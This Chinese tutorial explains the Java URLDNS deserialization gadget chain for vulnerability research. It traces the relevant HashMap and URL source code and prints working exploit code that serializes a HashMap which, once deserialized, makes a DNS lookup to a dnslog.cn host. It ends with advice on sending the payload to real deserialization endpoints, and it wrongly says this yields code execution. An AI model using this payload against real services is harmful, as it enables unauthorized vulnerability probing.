URLDNS利用链EXP编写之源码分析
本篇文章需要有一定的Java基础,并且需要明白Java反射相关的内容,URLDNS利用链适合于Java序列化与反序列化漏洞研究的入门案例。在这里,你可以学习到Java序列化与反序列化漏洞的本质,可以学习到EXP编写思路与实战利用思路。
概述
URLDNS链本质就是利用URL中的hashCode方法,其中使用了域名解析。借助HashMap反序列化调用readObject()方法的时候会使用hashCode方法计算hash值,因此我们可以将URL放入HashMap,从而间接的让HashMap反序列化的时候调用URL的hashCode方法。
源码分析
HashMap的readObject()分析
源码分析:
HashMap实现了Serializable接口,是可以序列化的,并且readObject()的方法中对调用了key
URL类分析
源码分析:
URL类可以序列化
hashCode属性默认为-1
根据hashCode的值计算hash值
接下来看看handler的hashCode源码:
再去看看getHostAddress()方法:
EXP编写思路
经过上面的源码分析之后,我们的最终目的就是去调用URL的hashCode方法,进而实现DNS查询。我们只需要让hashCode的值变为-1,最终就能进入getHostAddress()方法实现DNS查询。
为了达到DNS查询的目的,可以借助HashMap的readObject()方法,因为在这个方法里面对key的hashCode进行了计算,如果key重写了hashCode方法,那么计算逻辑就是使用key的hashCode()方法,所以我们可以将URL对象作为key传入hashMap中,但是要想最终调用hashCode()方法,就必须让URL的hashCode的值为-1,因此我们可以利用反射在运行状态中操作URL的hashCode,从而实现DNS查询的目的。
下面我们可以写一个EXP复现一下URLDNS链的利用:
EXP编写案例
环境准备
开发工具:建议IDEA
JDK:建议使用JDK8,JDK11也可以,就是在反射设置私有属性hashCode的时候会有警告,不影响属性设置,但是JDK17是不能使用的,因为JDK17他不允许反射设置私有属性
UrlDnsSer.java
构造序列化后的利用链
构造流程:准备一个可以序列化的URL --> 利用URL的 hashCode()方法 --> 构造hashCode的值(因为URL的hashCode默认为-1,这里通过反射设置为不是-1即可,这是为了避免在put的时候就已经调用了URL的hashCode,从而无法实现反序列化的方式调用) --> 将构造好的URLput进HashMap --> 利用反射将URL的hashCode设置为-1 -->序列化
public class UrlDnsSer {
public static void main(String[] args) throws Exception {
//构造函数中的参数可以填写DNSLog生成的,也可以使用BurpSuit的Collaborator生成
URL url = new URL("http://0kdhkf.dnslog.cn");
//URL中调用hashCode的时候会访问dns
Class cls = url.getClass();
Field hashCode = cls.getDeclaredField("hashCode");
hashCode.setAccessible(true);
//将URL的hashCode设置为不是-1,就不会在put的时候调用hashCode访问dns了
hashCode.set(url,222);
HashMap<URL, Integer> map = new HashMap<>();
map.put(url,3);
//将URL的hashCode设置为-1,是为了在反序列化的时候调用URL的hashCode访问dns
hashCode.set(url,-1);
serialize(map);
}
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
}
UnUrlDnsSer.java
利用流程:反序列化hashmap --> 调用HashMap的readObject() --> 调用putVal() --> 调用key的hasCode --> 通过反射将hashCode的值变为-1 --> 调用URLStreamHandler的hashCode()方法 --> 调用getHostAddress()方法 -->DNS查询
public class UnUrlDnsSer {
public static void main(String[] args) throws IOException, ClassNotFoundException {
unSerialize();
}
public static void unSerialize() throws IOException, ClassNotFoundException {
ObjectInput oos = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = oos.readObject();
System.out.println(obj);
}
}
编写好以上代码之后,我们可以执行UrlDnsSer类进行序列化我们构造好的hashmap,然后执行UnUrlDnsSer类进行反序列化hashmap,最终可以在DNSlog上看到域名解析记录。
实战利用思路
首先需要找到具有反序列化的功能点,将我们序列化后的payload发送到功能点进行反序列化,然后就能形成URLDNS利用链,从而完成恶意代码执行。